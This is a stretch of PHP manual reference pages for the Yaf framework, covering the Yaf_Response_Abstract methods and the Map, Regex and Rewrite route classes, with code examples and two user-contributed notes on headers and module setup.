(Yaf >=1.0.0)

Yaf_Request_Simple::isXmlHttpRequest — The isXmlHttpRequest purpose

Description

public void Yaf_Request_Simple::isXmlHttpRequest ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Response_Abstract class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Response_Abstract {
/* Constants */
const string DEFAULT_BODY = "content" ;
/* Properties */
protected $_header ;
protected $_body ;
protected $_sendheader ;
/* Methods */
public bool appendBody ( string $content [, string $key ] )
public bool clearBody ([ string $key ] )
public void clearHeaders ( void )
private void __clone ( void )
public __construct ( void )
public void __destruct ( void )
public mixed getBody ([ string $key ] )
public void getHeader ( void )
public bool prependBody ( string $content [, string $key ] )
public void response ( void )
protected void setAllHeaders ( void )
public bool setBody ( string $content [, string $key ] )
public void setHeader ( void )
public void setRedirect ( void )
private void __toString ( void )
}

Properties

_header

_body

_sendheader

Table of Contents

  • Yaf_Response_Abstract::appendBody — append to body
  • Yaf_Response_Abstract::clearBody — The clearBody purpose
  • Yaf_Response_Abstract::clearHeaders — The clearHeaders purpose
  • Yaf_Response_Abstract::__clone — The __clone purpose
  • Yaf_Response_Abstract::__construct — The __construct purpose
  • Yaf_Response_Abstract::__destruct — The __destruct purpose
  • Yaf_Response_Abstract::getBody — Retrieve a exists content
  • Yaf_Response_Abstract::getHeader — The getHeader purpose
  • Yaf_Response_Abstract::prependBody — The prependBody purpose
  • Yaf_Response_Abstract::response — send response
  • Yaf_Response_Abstract::setAllHeaders — The setAllHeaders purpose
  • Yaf_Response_Abstract::setBody — Set content to response
  • Yaf_Response_Abstract::setHeader — The setHeader purpose
  • Yaf_Response_Abstract::setRedirect — The setRedirect purpose
  • Yaf_Response_Abstract::__toString — The __toString purpose

User Contributed Notes

There are no user contributed notes for this page.


append to body

  • « Yaf_Response_Abstract
  • Yaf_Response_Abstract::clearBody »
  • PHP Manual
  • Yaf_Response_Abstract
  • append to body

Yaf_Response_Abstract::appendBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::appendBody — append to body

Description

public bool Yaf_Response_Abstract::appendBody ( string $content [, string $key ] )

append a content to a exists content block

Parameters

body

content string

key

the content key, you can set a content with a key, if you don't specific, then Yaf_Response_Abstract::DEFAULT_BODY will be used

Note:

this parameter is introduced as of 2.2.0

Return Values

bool

Examples

Example #1 Yaf_Response_Abstract::appendBody()example

<?php
$response = new Yaf_Response_Http();

$response->setBody("Hello")->prependBody(" World");

echo $response;
?>

The above example will output something similar to:

Hello World

See Also

  • Yaf_Config_Ini

See Also

  • Yaf_Response_Abstract::getBody() - Retrieve a exists content
  • Yaf_Response_Abstract::setBody() - Set content to response
  • Yaf_Response_Abstract::prependBody() - The prependBody purpose
  • Yaf_Response_Abstract::clearBody() - The clearBody purpose

User Contributed Notes

There are no user contributed notes for this page.


The clearBody purpose

  • « Yaf_Response_Abstract::appendBody
  • Yaf_Response_Abstract::clearHeaders »
  • PHP Manual
  • Yaf_Response_Abstract
  • The clearBody purpose

Yaf_Response_Abstract::clearBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::clearBody — The clearBody purpose

Description

public bool Yaf_Response_Abstract::clearBody ([ string $key ] )

Clear existsed content

Parameters

key

the content key, if you don't specific, then all contents will be cleared.

Note:

this parameter is introduced as of 2.2.0

Return Values

See Also

  • Yaf_Response_Abstract::setBody() - Set content to response
  • Yaf_Response_Abstract::appendBody() - append to body
  • Yaf_Response_Abstract::prependBody() - The prependBody purpose
  • Yaf_Response_Abstract::getBody() - Retrieve a exists content

User Contributed Notes

There are no user contributed notes for this page.


The clearHeaders purpose

  • « Yaf_Response_Abstract::clearBody
  • Yaf_Response_Abstract::__clone »
  • PHP Manual
  • Yaf_Response_Abstract
  • The clearHeaders purpose

Yaf_Response_Abstract::clearHeaders

(Yaf >=1.0.0)

Yaf_Response_Abstract::clearHeaders — The clearHeaders purpose

Description

public void Yaf_Response_Abstract::clearHeaders ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __clone purpose

  • « Yaf_Response_Abstract::clearHeaders
  • Yaf_Response_Abstract::__construct »
  • PHP Manual
  • Yaf_Response_Abstract
  • The __clone purpose

Yaf_Response_Abstract::__clone

(Yaf >=1.0.0)

Yaf_Response_Abstract::__clone — The __clone purpose

Description

private void Yaf_Response_Abstract::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « Yaf_Response_Abstract::__clone
  • Yaf_Response_Abstract::__destruct »
  • PHP Manual
  • Yaf_Response_Abstract
  • The __construct purpose

Yaf_Response_Abstract::__construct

(Yaf >=1.0.0)

Yaf_Response_Abstract::__construct — The __construct purpose

Description

public Yaf_Response_Abstract::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __destruct purpose

  • « Yaf_Response_Abstract::__construct
  • Yaf_Response_Abstract::getBody »
  • PHP Manual
  • Yaf_Response_Abstract
  • The __destruct purpose

Yaf_Response_Abstract::__destruct

(Yaf >=1.0.0)

Yaf_Response_Abstract::__destruct — The __destruct purpose

Description

public void Yaf_Response_Abstract::__destruct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a exists content

  • « Yaf_Response_Abstract::__destruct
  • Yaf_Response_Abstract::getHeader »
  • PHP Manual
  • Yaf_Response_Abstract
  • Retrieve a exists content

Yaf_Response_Abstract::getBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::getBody — Retrieve a exists content

Description

public mixed Yaf_Response_Abstract::getBody ([ string $key ] )

Retrieve a exists content

Parameters

key

the content key, if you don't specific, then Yaf_Response_Abstract::DEFAULT_BODY will be used. if you pass in a NULL, then all contents will be returned as a array

Note:

this parameter is introduced as of 2.2.0

Return Values

Examples

Example #1 Yaf_Response_Abstract::getBody()example

<?php
$response = new Yaf_Response_Http();

$response->setBody("Hello")->setBody(" World", "footer");

var_dump($response->getBody()); //default
var_dump($response->getBody(Yaf_Response_Abstract::DEFAULT_BODY)); //same as above
var_dump($response->getBody("footer"));
var_dump($response->getBody(NULL)); //get all
?>

The above example will output something similar to:

string(5) "Hello"
string(5) "Hello"
string(6) " World"
array(2) {
  ["content"]=>
  string(5) "Hello"
  ["footer"]=>
  string(6) " World"
}

See Also

  • Yaf_Response_Abstract::setBody() - Set content to response
  • Yaf_Response_Abstract::appendBody() - append to body
  • Yaf_Response_Abstract::prependBody() - The prependBody purpose
  • Yaf_Response_Abstract::clearBody() - The clearBody purpose

User Contributed Notes

There are no user contributed notes for this page.


The getHeader purpose

  • « Yaf_Response_Abstract::getBody
  • Yaf_Response_Abstract::prependBody »
  • PHP Manual
  • Yaf_Response_Abstract
  • The getHeader purpose

Yaf_Response_Abstract::getHeader

(Yaf >=1.0.0)

Yaf_Response_Abstract::getHeader — The getHeader purpose

Description

public void Yaf_Response_Abstract::getHeader ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The prependBody purpose

  • « Yaf_Response_Abstract::getHeader
  • Yaf_Response_Abstract::response »
  • PHP Manual
  • Yaf_Response_Abstract
  • The prependBody purpose

Yaf_Response_Abstract::prependBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::prependBody — The prependBody purpose

Description

public bool Yaf_Response_Abstract::prependBody ( string $content [, string $key ] )

prepend a content to a exists content block

Parameters

body

content string

key

the content key, you can set a content with a key, if you don't specific, then Yaf_Response_Abstract::DEFAULT_BODY will be used

Note:

this parameter is introduced as of 2.2.0

Return Values

bool

Examples

Example #1 Yaf_Response_Abstract::prependBody()example

<?php
$response = new Yaf_Response_Http();

$response->setBody("World")->prependBody("Hello ");

echo $response;
?>

The above example will output something similar to:

Hello World

See Also

  • Yaf_Response_Abstract::getBody() - Retrieve a exists content
  • Yaf_Response_Abstract::setBody() - Set content to response
  • Yaf_Response_Abstract::appendBody() - append to body
  • Yaf_Response_Abstract::clearBody() - The clearBody purpose

User Contributed Notes

There are no user contributed notes for this page.


send response

  • « Yaf_Response_Abstract::prependBody
  • Yaf_Response_Abstract::setAllHeaders »
  • PHP Manual
  • Yaf_Response_Abstract
  • send response

Yaf_Response_Abstract::response

(Yaf >=1.0.0)

Yaf_Response_Abstract::response — send response

Description

public void Yaf_Response_Abstract::response ( void )

send response

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Response_Abstract::response()example

<?php
$response = new Yaf_Response_Http();

$response->setBody("Hello")->setBody(" World", "footer");

$response->response();
?>

The above example will output something similar to:

Hello World

See Also

  • Yaf_Response_Abstract::setBody() - Set content to response
  • Yaf_Response_Abstract::clearBody() - The clearBody purpose

User Contributed Notes

There are no user contributed notes for this page.


The setAllHeaders purpose

  • « Yaf_Response_Abstract::response
  • Yaf_Response_Abstract::setBody »
  • PHP Manual
  • Yaf_Response_Abstract
  • The setAllHeaders purpose

Yaf_Response_Abstract::setAllHeaders

(Yaf >=1.0.0)

Yaf_Response_Abstract::setAllHeaders — The setAllHeaders purpose

Description

protected void Yaf_Response_Abstract::setAllHeaders ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set content to response

  • « Yaf_Response_Abstract::setAllHeaders
  • Yaf_Response_Abstract::setHeader »
  • PHP Manual
  • Yaf_Response_Abstract
  • Set content to response

Yaf_Response_Abstract::setBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::setBody — Set content to response

Description

public bool Yaf_Response_Abstract::setBody ( string $content [, string $key ] )

Set content to response

Parameters

body

content string

key

the content key, you can set a content with a key, if you don't specific, then Yaf_Response_Abstract::DEFAULT_BODY will be used

Note:

this parameter is introduced as of 2.2.0

Return Values

Examples

Example #1 Yaf_Response_Abstract::setBody()example

<?php
$response = new Yaf_Response_Http();

$response->setBody("Hello")->setBody(" World", "footer");

print_r($response);
echo $response;
?>

The above example will output something similar to:

Yaf_Response_Http Object
(
    [_header:protected] => Array
        (
        )

    [_body:protected] => Array
        (
            [content] => Hello
            [footer] =>  World
        )

    [_sendheader:protected] => 1
    [_response_code:protected] => 200
)
Hello World

See Also

  • Yaf_Response_Abstract::getBody() - Retrieve a exists content
  • Yaf_Response_Abstract::appendBody() - append to body
  • Yaf_Response_Abstract::prependBody() - The prependBody purpose
  • Yaf_Response_Abstract::clearBody() - The clearBody purpose

User Contributed Notes

There are no user contributed notes for this page.


The setHeader purpose

  • « Yaf_Response_Abstract::setBody
  • Yaf_Response_Abstract::setRedirect »
  • PHP Manual
  • Yaf_Response_Abstract
  • The setHeader purpose

Yaf_Response_Abstract::setHeader

(Yaf >=1.0.0)

Yaf_Response_Abstract::setHeader — The setHeader purpose

Description

public void Yaf_Response_Abstract::setHeader ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

lee dot howarth dot 90 at gmail dot com 11-Apr-2014 11:45
A few examples of how to send headers from a controller...

/* Set Content-Type */
 $response = $this -> getResponse();

 $response -> setHeader( 'Content-Type', 'text/html; charset=utf-8' );

$response -> response();

/* Set HTTP Status */
$response = $this -> getResponse();

$response -> setHeader( $this -> getRequest() -> getServer( 'SERVER_PROTOCOL' ), '404 Not Found' );

$response -> response();

You could also use $_SERVER[ 'SERVER_PROTOCOL' ] however it is recommend to extend the request class do some cleaning of the super globals then you should be good to go.


The setRedirect purpose

  • « Yaf_Response_Abstract::setHeader
  • Yaf_Response_Abstract::__toString »
  • PHP Manual
  • Yaf_Response_Abstract
  • The setRedirect purpose

Yaf_Response_Abstract::setRedirect

(Yaf >=1.0.0)

Yaf_Response_Abstract::setRedirect — The setRedirect purpose

Description

public void Yaf_Response_Abstract::setRedirect ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __toString purpose

  • « Yaf_Response_Abstract::setRedirect
  • Yaf_Route_Interface »
  • PHP Manual
  • Yaf_Response_Abstract
  • The __toString purpose

Yaf_Response_Abstract::__toString

(Yaf >=1.0.0)

Yaf_Response_Abstract::__toString — The __toString purpose

Description

private void Yaf_Response_Abstract::__toString ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Route_Interface class

(Yaf >=1.0.0)

Introduction

Yaf_Route_Interface used for developer defined their custom route.

Class synopsis

Yaf_Route_Interface {
/* Methods */
abstract public string assemble ( array $info [, array $query ] )
abstract public bool route ( Yaf_Request_Abstract $request )
}

Table of Contents

  • Yaf_Route_Interface::assemble — assemble a request
  • Yaf_Route_Interface::route — route a request

User Contributed Notes

There are no user contributed notes for this page.


assemble a request

  • « Yaf_Route_Interface
  • Yaf_Route_Interface::route »
  • PHP Manual
  • Yaf_Route_Interface
  • assemble a request

Yaf_Route_Interface::assemble

(Yaf >=2.3.0)

Yaf_Route_Interface::assemble — assemble a request

Description

abstract public string Yaf_Route_Interface::assemble ( array $info [, array $query ] )

this method returns a url according to the argument info, and append query strings to the url according to the argument query.

a route should implement this method according to its own route rules, and do a reverse progress.

Parameters

info

query

Return Values

User Contributed Notes

There are no user contributed notes for this page.


route a request

  • « Yaf_Route_Interface::assemble
  • Yaf_Route_Map »
  • PHP Manual
  • Yaf_Route_Interface
  • route a request

Yaf_Route_Interface::route

(Yaf >=1.0.0)

Yaf_Route_Interface::route — route a request

Description

abstract public bool Yaf_Route_Interface::route ( Yaf_Request_Abstract $request )

Yaf_Route_Interface::route() is the only method that a custom route should implement.

Note:

since of 2.3.0, there is another method should also be implemented, see Yaf_Route_Interface::assemble().

if this method return TRUE, then the route process will be end. otherwise, Yaf_Router will call next route in the route stack to route request.

This method would set the route result to the parameter request, by
calling Yaf_Request_Abstract::setControllerName(),
Yaf_Request_Abstract::setActionName() and
Yaf_Request_Abstract::setModuleName().

This method should also call Yaf_Request_Abstract::setRouted() to make the request routed at last.

Parameters

request

A Yaf_Request_Abstract instance.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Route_Map class

(Yaf >=1.0.0)

Introduction

Yaf_Route_Map is a built-in route, it simply convert a URI endpoint (that part of the URI which comes after the base URI: see Yaf_Request_Abstract::setBaseUri()) to a controller name or action name(depends on the paramter passed to Yaf_Route_Map::__construct()) in following rule: A => controller A. A/B/C => controller A_B_C. A/B/C/D/E => controller A_B_C_D_E.

If the second parameter of Yaf_Route_Map::__construct() is specificed, then only the part before delimeter of URI will used to routing, the part after it is used to routing request parameters (see the example section of Yaf_Route_Map::__construct()).

Class synopsis

Yaf_Route_Map implements Yaf_Route_Interface {
/* Properties */
protected $_ctl_router ;
protected $_delimeter ;
/* Methods */
public string assemble ( array $info [, array $query ] )
public __construct ([ string $controller_prefer = false [, string $delimiter = "" ]] )
public bool route ( Yaf_Request_Abstract $request )
}

Properties

_ctl_router

_delimeter

Table of Contents

  • Yaf_Route_Map::assemble — Assemble a url
  • Yaf_Route_Map::__construct — The __construct purpose
  • Yaf_Route_Map::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


Assemble a url

  • « Yaf_Route_Map
  • Yaf_Route_Map::__construct »
  • PHP Manual
  • Yaf_Route_Map
  • Assemble a url

Yaf_Route_Map::assemble

(Yaf >=2.3.0)

Yaf_Route_Map::assemble — Assemble a url

Description

public string Yaf_Route_Map::assemble ( array $info [, array $query ] )

Assemble a url.

Parameters

info

query

Examples

Example #1 Yaf_Route_Map::assemble()example

<?php

$router = new Yaf_Router();

$route  = new Yaf_Route_Map();

$router->addRoute("map", $route);

var_dump($router->getRoute('map')->assemble(
                        array(
                                ':c' => 'foo_bar'
                        ),
                        array(
                                'tkey1' => 'tval1',
                                'tkey2' => 'tval2'
                        )
                   )
);

$route = new Yaf_Route_Map(true, '_');
$router->addRoute("map", $route);

var_dump($router->getRoute('map')->assemble(
                        array(
                                ':a' => 'foo_bar'
                        ),
                        array(
                                'tkey1' => 'tval1',
                                'tkey2' => 'tval2'
                        )
                   )
);

The above example will output something similar to:

string(%d) "/foo/bar?tkey1=tval1&tkey2=tval2"
string(%d) "/foo/bar/_/tkey1/tval1/tkey2/tval2"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « Yaf_Route_Map::assemble
  • Yaf_Route_Map::route »
  • PHP Manual
  • Yaf_Route_Map
  • The __construct purpose

Yaf_Route_Map::__construct

(Yaf >=1.0.0)

Yaf_Route_Map::__construct — The __construct purpose

Description

public Yaf_Route_Map::__construct ([ string $controller_prefer = false [, string $delimiter = "" ]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

controller_prefer

Whether the result should considering as controller or action

delimiter

Return Values

Examples

Example #1 Yaf_Route_Map()example

<?php
   /**
    * Add a map route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Map());
?>

The above example will output something similar to:

/* for http://yourdomain.com/product/foo/bar
 * route will result in following values:
 */
array(
  "controller" => "product_foo_bar",
)

Example #2 Yaf_Route_Map()example

<?php
   /**
    * Add a map route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Map(true, "_"));
?>

The above example will output something similar to:

/* for http://yourdomain.com/user/list/_/foo/22
 * route will result in following values:
 */
array(
    "action" => "user_list",
)

/**
 * and request parameters:
 */
array(
  "foo"   => 22,
)

Example #3 Yaf_Route_Map()example

<?php
   /**
    * Add a map route to Yaf_Router route stack by calling addconfig
    */
    $config = array(
        "name" => array(
           "type"  => "map",         //Yaf_Route_Map route
           "controllerPrefer" => FALSE,
           "delimiter"        => "#!",
           ),
    );
    Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
        new Yaf_Config_Simple($config));
?>

See Also

  • Yaf_Router::addRoute() - Add new Route into Router
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite

User Contributed Notes

There are no user contributed notes for this page.


The route purpose

  • « Yaf_Route_Map::__construct
  • Yaf_Route_Regex »
  • PHP Manual
  • Yaf_Route_Map
  • The route purpose

Yaf_Route_Map::route

(Yaf >=1.0.0)

Yaf_Route_Map::route — The route purpose

Description

public bool Yaf_Route_Map::route ( Yaf_Request_Abstract $request )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Route_Regex class

(Yaf >=1.0.0)

Introduction

Yaf_Route_Regex is the most flexible route among the Yaf built-in routes.

Class synopsis

Yaf_Route_Regex extends Yaf_Route_Interface implements Yaf_Route_Interface {
/* Properties */
protected $_route ;
protected $_default ;
protected $_maps ;
protected $_verify ;
/* Methods */
public string assemble ( array $info [, array $query ] )
public__construct ( string $match , array $route [, array $map [, array $verify [, string $reverse ]]] )
public bool route ( Yaf_Request_Abstract $request )
/* Inherited methods */
abstract public string Yaf_Route_Interface::assemble ( array $info [, array $query ] )
abstract public bool Yaf_Route_Interface::route ( Yaf_Request_Abstract $request )
}

Properties

_route

_default

_maps

_verify

Table of Contents

  • Yaf_Route_Regex::assemble — Assemble a url
  • Yaf_Route_Regex::__construct — Yaf_Route_Regex constructor
  • Yaf_Route_Regex::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


Assemble a url

  • « Yaf_Route_Regex
  • Yaf_Route_Regex::__construct »
  • PHP Manual
  • Yaf_Route_Regex
  • Assemble a url

Yaf_Route_Regex::assemble

(Yaf >=2.3.0)

Yaf_Route_Regex::assemble — Assemble a url

Description

public string Yaf_Route_Regex::assemble ( array $info [, array $query ] )

Assemble a url.

Parameters

info

query

Examples

Example #1 Yaf_Route_Regex::assemble()example

<?php

$router = new Yaf_Router();

$route  = new Yaf_Route_Regex(
            "#^/product/([^/]+)/([^/])+#",
            array(
                'controller' => "product",  //route to product controller,
                ),
            array(),
            array(),
            '/:m/:c/:a'
        );

$router->addRoute("regex", $route);

var_dump($router->getRoute('regex')->assemble(
            array(
                ':m' => 'module',
                ':c' => 'controller',
                ':a' => 'action'
                ),
            array(
                'tkey1' => 'tval1',
                'tkey2' =>
                'tval2'
                )
            )
        );

The above example will output something similar to:

string(49) "/module/controller/action?tkey1=tval1&tkey2=tval2"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Regex constructor

  • « Yaf_Route_Regex::assemble
  • Yaf_Route_Regex::route »
  • PHP Manual
  • Yaf_Route_Regex
  • Yaf_Route_Regex constructor

Yaf_Route_Regex::__construct

(Yaf >=1.0.0)

Yaf_Route_Regex::__construct — Yaf_Route_Regex constructor

Description

publicYaf_Route_Regex::__construct ( string $match , array $route [, array $map [, array $verify [, string $reverse ]]] )

Parameters

match

A complete Regex pattern, will be used to match a request uri, if doesn't matched, Yaf_Route_Regex will return FALSE.

route

When the match pattern matches the request uri, Yaf_Route_Regex will use this to decide which m/c/a to routed.

either of m/c/a in this array is optianl, if you don't assgian a specific value, it will be routed to default.

map

A array to assign name to the captrues in the match result.

verify

reverse

a string, used to assemble url, see Yaf_Route_Regex::assemble().

Note:

this parameter is introduced in 2.3.0

Return Values

Examples

Example #1 Yaf_Route_Regex()example

<?php
   /**
    * Add a regex route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Regex(
           "#^/product/([^/]+)/([^/])+#", //match request uri leading "/product"
           array(
               'controller' => "product",  //route to product controller,
           ),
           array(
              1 => "name",   // now you can call $request->getParam("name")
              2 => "id",     // to get the first captrue in the match pattern.
           )
        )
    );
?>

Example #2 Yaf_Route_Regex(as of 2.3.0)()example

<?php
   /**
    * Use match result as MVC name
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Regex(
           "#^/product/([^/]+)/([^/])+#i", //match request uri leading "/product"
           array(
              'controller' => ":name", // route to :name, which is $1 in the match result as controller name
           ),
           array(
              1 => "name",   // now you can call $request->getParam("name")
              2 => "id",     // to get the first captrue in the match pattern.
           )
        )
    );
?>

Example #3 Yaf_Route_Regex()example

<?php
   /**
    * Add a regex route to Yaf_Router route stack by calling addconfig
    */
    $config = array(
        "name" => array(
           "type"  => "regex",          //Yaf_Route_Regex route
           "match" => "#(.*)#",         //match arbitrary request uri
           "route" => array(
               'controller' => "product",  //route to product controller,
               'action'     => "dummy",    //route to dummy action
           ),
           "map" => array(
              1 => "uri",   // now you can call $request->getParam("uri")
           ),
        ),
    );
    Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
        new Yaf_Config_Simple($config));
?>

See Also

  • Yaf_Router::addRoute() - Add new Route into Router
  • Yaf_Router::addConfig() - Add config-defined routes into Router
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


The route purpose

  • « Yaf_Route_Regex::__construct
  • Yaf_Route_Rewrite »
  • PHP Manual
  • Yaf_Route_Regex
  • The route purpose

Yaf_Route_Regex::route

(Yaf >=1.0.0)

Yaf_Route_Regex::route — The route purpose

Description

public bool Yaf_Route_Regex::route ( Yaf_Request_Abstract $request )

Route a incoming request.

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

Return Values

If the pattern given by the first parameter of Yaf_Route_Regex::_construct() matche the request uri, return TRUE, otherwise return FALSE.

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Route_Rewrite class

(Yaf >=1.0.0)

Introduction

For usage, please see the example section of Yaf_Route_Rewrite::__construct()

Class synopsis

Yaf_Route_Rewrite extends Yaf_Route_Interface implements Yaf_Route_Interface {
/* Properties */
protected $_route ;
protected $_default ;
protected $_verify ;
/* Methods */
public string assemble ( array $info [, array $query ] )
public__construct ( string $match , array $route [, array $verify ] )
public bool route ( Yaf_Request_Abstract $request )
/* Inherited methods */
abstract public string Yaf_Route_Interface::assemble ( array $info [, array $query ] )
abstract public bool Yaf_Route_Interface::route ( Yaf_Request_Abstract $request )
}

Properties

_route

_default

_verify

Table of Contents

  • Yaf_Route_Rewrite::assemble — Assemble a url
  • Yaf_Route_Rewrite::__construct — Yaf_Route_Rewrite constructor
  • Yaf_Route_Rewrite::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


Assemble a url

  • « Yaf_Route_Rewrite
  • Yaf_Route_Rewrite::__construct »
  • PHP Manual
  • Yaf_Route_Rewrite
  • Assemble a url

Yaf_Route_Rewrite::assemble

(Yaf >=2.3.0)

Yaf_Route_Rewrite::assemble — Assemble a url

Description

public string Yaf_Route_Rewrite::assemble ( array $info [, array $query ] )

Assemble a url.

Parameters

info

query

Examples

Example #1 Yaf_Route_Rewrite::assemble()example

router = new Yaf_Router();

$route  = new Yaf_Route_Rewrite(
                "/product/:name/:id/*",
                array(
                        'controller' => "product",
                ),
                array()
);

$router->addRoute("rewrite", $route);

var_dump($router->getRoute('rewrite')->assemble(
                        array(
                                ':name' => 'foo',
                                ':id' => 'bar',
                                ':tmpkey1' => 'tmpval1'
                        ),
                        array(
                                'tkey1' => 'tval1',
                                'tkey2' => 'tval2'
                             )
                        )
);

The above example will output something similar to:

string(57) "/product/foo/bar/tmpkey1/tmpval1/?tkey1=tval1&tkey2=tval2"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Rewrite constructor

  • « Yaf_Route_Rewrite::assemble
  • Yaf_Route_Rewrite::route »
  • PHP Manual
  • Yaf_Route_Rewrite
  • Yaf_Route_Rewrite constructor

Yaf_Route_Rewrite::__construct

(Yaf >=1.0.0)

Yaf_Route_Rewrite::__construct — Yaf_Route_Rewrite constructor

Description

publicYaf_Route_Rewrite::__construct ( string $match , array $route [, array $verify ] )

Parameters

match

A pattern, will be used to match a request uri, if it doesn't match, Yaf_Route_Rewrite will return FALSE.

You can use :name style to name segments matched, and use * to match the rest of the URL segments.

route

When the match pattern matches the request uri, Yaf_Route_Rewrite will use this to decide which module/controller/action is the destination.

Either of module/controller/action in this array is optional, if you don't assign a specific value, it will be routed to default.

verify

Return Values

Examples

Example #1 Yaf_Route_Rewrite()example

<?php
   /**
    * Add a rewrite route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_rewrite(
           "/product/:name/:id/*", //match request uri leading "/product"
           array(
               'controller' => "product",  //route to product controller,
           ),
        )
    );
?>

The above example will output something similar to:

/* for http://yourdomain.com/product/foo/22/foo/bar
 * route will result in following values:
 */
array(
  "controller" => "product",
  "module"     => "index", //(default)
  "action"     => "index", //(default)
)

/**
 * and request parameters:
 */
array(
  "name" => "foo",
  "id"   => 22,
  "foo"  => bar
)

Example #2 Yaf_Route_Rewrite()example

<?php
   /**
    * Add a rewrite route to Yaf_Router route stack by calling addconfig
    */
    $config = array(
        "name" => array(
           "type"  => "rewrite",        //Yaf_Route_Rewrite route
           "match" => "/user-list/:id", //match only /user/list/?/
           "route" => array(
               'controller' => "user",  //route to user controller,
               'action'     => "list",  //route to list action
           ),
        ),
    );
    Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
        new Yaf_Config_Simple($config));
?>

The above example will output something similar to:

/* for http://yourdomain.com/user-list/22
 * route will result in following values:
 */
array(
  "controller" => "user",
  "action"     => "list",
  "module"     => "index", //(default)
)

/**
 * and request parameters:
 */
array(
  "id"   => 22,
)

Example #3 Yaf_Route_Rewrite(as of 2.3.0)()example

<?php
   /**
    * Add a rewrite route use match result as m/c/a name
    */
    $config = array(
        "name" => array(
           "type"  => "rewrite",
           "match" => "/user-list/:a/:id", //match only /user-list/*
           "route" => array(
               'controller' => "user",   //route to user controller,
               'action'     => ":a",     //route to :a action
           ),
        ),
    );
    Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
        new Yaf_Config_Simple($config));
?>

The above example will output something similar to:

/* for http://yourdomain.com/user-list/list/22
 * route will result in following values:
 */
array(
  "controller" => "user",
  "action"     => "list",
  "module"     => "index", //(default)
)

/**
 * and request parameters:
 */
array(
  "id"   => 22,
)

See Also

  • Yaf_Router::addRoute() - Add new Route into Router
  • Yaf_Router::addConfig() - Add config-defined routes into Router
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Map

User Contributed Notes

aqueel at ikonami dot net 21-Jun-2012 01:20
Working Example for Modules in YAF FOR PHP

Please follow these steps to make modules work in YAF.

1. Create a folder with name modules inside application directory the path would normally look like this

/application/modules

2. In modules folder copy following folders and files from application root.
    i. conf / configration folder ( what ever name your configration folder has)
    ii. controllers
    iii. models
    iv. plugins ( if you have)
    v.  Views

Now your folder structure will look like this

-- application
        -- controllers
        -- models
        -- modules
              -- [moduledirectory]
                 -- controllers
                 -- models
                 -- plugins
                 -- views
        -- plugins
        -- views

application.ini file in configuration folder will look like this the only thing to notice closely in this file is this line

;defined modules
application.modules= "Index,director"  // comma separated list of all modules that you will use in your web application using yaf

############################################################
[product]
;layout
application.directory = APP_PATH
application.bootstrap = APP_PATH "Bootstrap.php"
application.library = BASE_PATH "/library"

appnamespace = "Application"
resources.frontController.controllerDirectory = APP_PATH "controllers"
resources.frontController.params.displayExceptions = 0
resources.frontController.defaultModule = "index"
resources.frontController.defaultController = "index"
resources.frontController.defaultAction = "index"
;resources.frontController.moduleDirectory = APP_PATH "modules/"
resources.layout.layoutPath = APP_PATH "/layouts/scripts/"
